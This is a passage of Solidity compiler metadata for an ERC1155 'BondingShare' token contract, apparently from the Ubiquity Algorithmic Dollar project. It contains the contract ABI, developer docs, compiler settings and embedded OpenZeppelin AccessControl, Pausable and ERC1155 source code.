"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"URI\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Unpaused\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"accounts\",\"type\":\"address[]\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"}],\"name\":\"balanceOfBatch\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"burn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"values\",\"type\":\"uint256[]\"}],\"name\":\"burnBatch\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"holder\",\"type\":\"address\"}],\"name\":\"holderTokens\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"mint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"mintBatch\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"paused\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeBatchTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceId\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unpause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"uri\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"balanceOf(address,uint256)\":{\"details\":\"See {IERC1155-balanceOf}. Requirements: - `account` cannot be the zero address.\"},\"balanceOfBatch(address[],uint256[])\":{\"details\":\"See {IERC1155-balanceOfBatch}. Requirements: - `accounts` and `ids` must have the same length.\"},\"holderTokens(address)\":{\"details\":\"array of token Id held by the msg.sender.\"},\"isApprovedForAll(address,address)\":{\"details\":\"See {IERC1155-isApprovedForAll}.\"},\"pause()\":{\"details\":\"Pauses all token transfers. See {ERC1155Pausable} and {Pausable-_pause}.\"},\"paused()\":{\"details\":\"Returns true if the contract is paused, and false otherwise.\"},\"safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)\":{\"details\":\"See {IERC1155-safeBatchTransferFrom}.\"},\"safeTransferFrom(address,address,uint256,uint256,bytes)\":{\"details\":\"See {IERC1155-safeTransferFrom}.\"},\"setApprovalForAll(address,bool)\":{\"details\":\"See {IERC1155-setApprovalForAll}.\"},\"supportsInterface(bytes4)\":{\"details\":\"See {IERC165-supportsInterface}.\"},\"totalSupply()\":{\"details\":\"Total amount of tokens in with a given id.\"},\"unpause()\":{\"details\":\"Unpauses all token transfers. See {ERC1155Pausable} and {Pausable-_unpause}.\"},\"uri(uint256)\":{\"details\":\"See {IERC1155MetadataURI-uri}. This implementation returns the same URI for *all* token types. It relies on the token type ID substitution mechanism https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. Clients calling this function must replace the `\\\\{id\\\\}` substring with the actual token type ID.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/BondingShare.sol\":\"BondingShare\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor () {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xab1f67e4c96dfe0e3875d22883c3dee5411914f40ce0c54ef407f030d803512e\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping (uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping (address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor (string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return interfaceId == type(IERC1155).interfaceId\\n || interfaceId == type(IERC1155MetadataURI).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(\\n address[] memory accounts,\\n uint256[] memory ids\\n )\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(address account, uint256 id, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n internal\\n virtual\\n { }\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x8a7cdfd0cc4a768ad04f850cbce1e877cf7ac16202c33049e3dd9e5bd99d713b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the 